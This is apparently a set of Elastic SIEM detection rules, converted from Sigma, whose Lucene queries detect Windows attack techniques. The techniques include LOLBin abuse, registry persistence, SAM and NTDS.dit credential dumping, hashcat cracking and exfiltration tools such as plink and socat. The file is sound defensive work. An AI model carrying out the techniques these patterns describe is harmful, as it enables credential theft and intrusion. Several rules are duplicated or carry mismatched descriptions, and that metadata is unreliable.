{"description":"Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed). Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"37db85d1-b089-490a-a59a-c7b6f984f480","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Findstr 385201 Execution","query":"(process.executable:*\\\\findstr.exe AND process.command_line:*\\ 385201*)","meta":{"from":"1m"},"severity":"high","tags":["T1518"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1518","name":"Software Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll Author: Ilyas Ochkov, oscd.community, Tim Shelton. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4b148d85-8580-61e0-d9d0-60732c306abe","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"New DLL Added to AppInit_DLLs Registry Key","query":"((winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls) OR NewName:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls OR *\\\\SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Windows\\\\AppInit_Dlls)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"dotnet.exe will execute any DLL and execute unsigned code Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["System administrator Usage","Penetration test"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d80d5c81-04ba-45b4-84e4-92eba40e0ad3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN","query":"(process.command_line:(*.dll OR *.csproj) AND process.executable:*\\\\dotnet.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Download and compress a remote file and store it in a cab file on local machine. Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"185d7418-f250-42d0-b72e-0c8b70661e93","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Diantz Download and Compress Into a CAB File","query":"(process.command_line:*diantz.exe* AND process.command_line:*\\ \\\\\\* AND process.command_line:*.cab*)","meta":{"from":"1m"},"severity":"medium","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Download or Copy file with Extrac32 Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aa8e035d-7be4-48d3-a944-102aec04400d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Extrac32 Execution","query":"(process.command_line:*extrac32.exe* AND process.command_line:*.cab* AND process.command_line:(*\\/C* OR *\\/Y* OR *\\ \\\\\\*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Downloads payload from remote server Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0c79148b-118e-472b-bdb7-9b57b444cc19","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Malicious Payload Download via Office Binaries","query":"(process.executable:(*\\\\powerpnt.exe OR *\\\\winword.exe OR *\\\\excel.exe) AND process.command_line:*http*)","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Dump sam, system or security hives using REG.exe utility Author: Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Dumping hives for legitimate purpouse i.e. backup or forensic investigation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fd877b94-9bb5-4191-bb25-d79cbd93c167","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Grabbing Sensitive Hives via Reg Utility","query":"(process.executable:*\\\\reg.exe AND process.command_line:(*save* OR *export* OR *Ë¢ave* OR *eË£port*) AND process.command_line:(*hklm* OR *hkËªm* OR *hkey_local_machine* OR *hkey_Ëªocal_machine* OR *hkey_locaËª_machine* OR *hkey_ËªocaËª_machine*) AND process.command_line:(*\\\\system OR *\\\\sam OR *\\\\security OR *\\\\Ë¢ystem OR *\\\\syË¢tem OR *\\\\Ë¢yË¢tem OR *\\\\Ë¢am OR *\\\\Ë¢ecurity))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Author: Ilyas Ochkov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f3de0a17-9956-2722-5a0d-d589a744ef77","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"New DLL Added to AppCertDlls Registry Key","query":"(winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session\\ Manager\\\\AppCertDlls\" OR NewName:\"HKLM\\\\SYSTEM\\\\CurentControlSet\\\\Control\\\\Session\\ Manager\\\\AppCertDlls\")","meta":{"from":"1m"},"severity":"medium","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8a1118b9-7036-2f0d-fe7a-641ea79a90ec","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"ProtocolHandler.exe Downloaded Suspicious File","query":"(process.executable:*\\\\protocolhandler.exe AND process.command_line:*\\\"ms\\-word* AND process.command_line:*.docx\\\"*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2512807b-8ace-fbbc-819d-64754dfed691","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Enable Microsoft Dynamic Data Exchange","query":"(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\Word\\\\Security\\\\AllowDDE AND winlog.event_data.Details:(\"DWORD\\ \$0x00000001\$\" OR \"DWORD\\ \$0x00000002\$\")) OR (winlog.event_data.TargetObject:(*\\\\Excel\\\\Security\\\\DisableDDEServerLaunch OR *\\\\Excel\\\\Security\\\\DisableDDEServerLookup) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]}],"version":1,"references":[""]}
{"description":"Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2512807b-8ace-fbbc-819d-64754dfed691","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Enable Microsoft Dynamic Data Exchange","query":"(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\Word\\\\Security\\\\AllowDDE AND winlog.event_data.Details:(\"DWORD\\ \$0x00000001\$\" OR \"DWORD\\ \$0x00000002\$\")) OR (winlog.event_data.TargetObject:(*\\\\Excel\\\\Security\\\\DisableDDEServerLaunch OR *\\\\Excel\\\\Security\\\\DisableDDEServerLookup) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]}],"version":1,"references":[""]}
{"description":"Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes. Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9d1c72f5-43f0-4da5-9320-648cf2099dd0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Excel Proxy Executing Regsvr32 With Payload","query":"((process.executable:*\\\\wbem\\\\WMIC.exe OR process.parent.command_line:*wmic\\ * OR winlog.event_data.OriginalFileName:\"wmic.exe\" OR winlog.event_data.Description:\"WMI\\ Commandline\\ Utility\") AND process.command_line:(*regsvr32* OR *rundll32* OR *msiexec* OR *mshta* OR *verclsid*) AND process.parent.executable:(*winword.exe OR *excel.exe OR *powerpnt.exe) AND process.parent.command_line:*process* AND process.parent.command_line:*create* AND process.parent.command_line:*call*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes. Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"96c2130c-66b8-cbbe-8c28-6910f242647f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Excel Proxy Executing Regsvr32 With Payload","query":"(process.parent.command_line:(*regsvr32* OR *rundll32* OR *msiexec* OR *mshta* OR *verclsid*) AND (process.executable:*\\\\wbem\\\\WMIC.exe OR process.parent.command_line:*wmic\\ *) AND process.parent.executable:(*winword.exe OR *excel.exe OR *powerpnt.exe) AND process.parent.command_line:*process* AND process.parent.command_line:*create* AND process.parent.command_line:*call*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Execute C# code located in the consoleapp folder Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of dnx.exe by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"81ebd28b-9607-4478-bf06-974ed9d53ed7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Application Whitelisting Bypass via Dnx.exe","query":"process.executable:*\\\\dnx.exe","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Execute C# code with the Build Provider and proper folder structure in place. Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a01b8329-5953-4f73-ae2d-aa01e1f35f00","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious aspnet_compiler.exe Execution","query":"(process.executable:*C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework* AND process.executable:*aspnet_compiler.exe*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1127"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1127","name":"Trusted Developer Utilities Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against Author: frack113. License: ","enabled":false,"false_positives":["Tools that accidentally use the same command line flags and values"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"39b31e81-5f5f-4898-9c0e-2160cfc0f9bf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Password Cracking with Hashcat","query":"(process.executable:*\\\\hashcat.exe OR (process.command_line:*\\-a\\ * AND process.command_line:*\\-m\\ 1000\\ * AND process.command_line:*\\-r\\ *))","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1110"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1110","name":"Brute Force","reference":""}]}],"version":1,"references":[""]}
{"description":"Execute VBscript code that is referenced within the *.bgi file. Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aaf46cdc-934e-4284-b329-34aa701e3771","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Application Whitelisting Bypass via Bginfo","query":"(process.executable:*\\\\bginfo.exe AND process.command_line:*\\/popup* AND process.command_line:*\\/nolicprompt*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1202","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Author: frack113. License: ","enabled":false,"false_positives":["App-V clients"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f1484b6f-1fbc-4795-4ee6-36aabbf95e37","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"SyncAppvPublishingServer Execute Arbitrary PowerShell Code","query":"(process.executable:*\\\\SyncAppvPublishingServer.exe AND process.command_line:*\\\"n;\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3a760752-00ff-45eb-0089-56136acbcfc3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code","query":"(process.command_line:*\\\\SyncAppvPublishingServer.vbs* AND process.command_line:*\\\"\\\\n;*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1216","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7312f76d-9f26-56df-650c-726820063ea2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"InfDefaultInstall.exe .inf Execution","query":"(process.command_line:*InfDefaultInstall.exe\\ * AND process.command_line:*.inf*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Execution of well known tools for data exfiltration and tunneling Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate Administrator using tools"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c75309a3-59f8-4a8d-9c2c-4c927ad50555","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Exfiltration and Tunneling Tools Execution","query":"process.executable:(*\\\\plink.exe OR *\\\\socat.exe OR *\\\\stunnel.exe OR *\\\\httptunnel.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1041","T1071","T1572"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1041","name":"Exfiltration Over C2 Channel","reference":""}]}],"version":1,"references":[""]}
{"description":"Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.","msxsl.exe is not installed by default, so unlikely.","Static format arguments - "],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"05c36dd6-79d6-4a9a-97da-3db20298ab2d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"XSL Script Processing","query":"(((process.executable:*\\\\wmic.exe AND process.command_line:*\\/format*) OR process.executable:*\\\\msxsl.exe) AND (NOT (process.command_line:(*\\/Format\\:List* OR *\\/Format\\:htable* OR *\\/Format\\:hform* OR *\\/Format\\:table* OR *\\/Format\\:mof* OR *\\/Format\\:value* OR *\\/Format\\:rawxml* OR *\\/Format\\:xml* OR *\\/Format\\:csv*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1220"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1220","name":"XSL Script Processing","reference":""}]}],"version":1,"references":[""]}
{"description":"Extexport.exe loads dll and is execute from other folder the original path Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fb0b815b-f5f6-4f50-970f-ffe21f253f7a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Extexport Execution","query":"process.command_line:*Extexport.exe*","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Extract data from cab file and hide it in an alternate data stream Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4b13db67-0c45-40f1-aba8-66a1a7198a1e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Extrac32 Alternate Data Stream Execution","query":"(process.command_line:*extrac32.exe* AND process.command_line:*.cab* AND process.command_line:/:[^\\\\\\\\]/)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Files with well-known filenames (parts of credential dump software or files produced by them) creation Author: Teymur Kheirkhabarov, oscd.community. License: ","enabled":false,"false_positives":["Legitimate Administrator using tool for password recovery"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a81071f5-b4ed-da57-1360-0de5bb46c44e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Cred Dump Tools Dropped Files","query":"(file.path:(*\\\\pwdump* OR *\\\\kirbi* OR *\\\\pwhashes* OR *\\\\wce_ccache* OR *\\\\wce_krbtkts* OR *\\\\fgdump\\-log*) OR file.path:(*\\\\test.pwd OR *\\\\lsremora64.dll OR *\\\\lsremora.dll OR *\\\\fgexec.exe OR *\\\\wceaux.dll OR *\\\\SAM.out OR *\\\\SECURITY.out OR *\\\\SYSTEM.out OR *\\\\NTDS.out OR *\\\\DumpExt.dll OR *\\\\DumpSvc.exe OR *\\\\cachedump64.exe OR *\\\\cachedump.exe OR *\\\\pstgdump.exe OR *\\\\servpw.exe OR *\\\\servpw64.exe OR *\\\\pwdump.exe OR *\\\\procdump64.exe))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003","T1003","T1003","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Files with well-known filenames (sensitive files with credential data) copying Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e7be6119-fc37-43f0-ad4f-1f3f99be2f9f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Copying Sensitive Files with Credential Data","query":"((process.executable:*\\\\esentutl.exe AND process.command_line:(*vss* OR *\\ \\/m\\ * OR *\\ \\/y\\ *)) OR process.command_line:(*\\\\windows\\\\ntds\\\\ntds.dit* OR *\\\\config\\\\sam* OR *\\\\config\\\\security* OR *\\\\config\\\\system\\ * OR *\\\\repair\\\\sam* OR *\\\\repair\\\\system* OR *\\\\repair\\\\security* OR *\\\\config\\\\RegBack\\\\sam* OR *\\\\config\\\\RegBack\\\\system* OR *\\\\config\\\\RegBack\\\\security*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"F-Secure C3 produces DLLs with a default exported StartNodeRelay function. Author: Alfie Champion (ajpc500). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b18c9d4c-fac9-4708-bd06-dd5bfacf200f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"F-Secure C3 Load by Rundll32","query":"(process.command_line:*rundll32.exe* AND process.command_line:*.dll* AND process.command_line:*StartNodeRelay*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Hides the file extension through modification of the registry Author: frack113. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"902e39ce-1ee6-0d97-9d22-f77119ab0b04","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"IE Change Domain Zone","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet\\ Settings\\\\ZoneMap\\\\Domains\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
{"description":"Hides the file extension through modification of the registry Author: frack113. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"49a38073-0750-1909-2978-4eda10f5defc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Registry Modification to Hidden File Extension","query":"(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden AND winlog.event_data.Details:\"DWORD\\ \$0x00000002\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
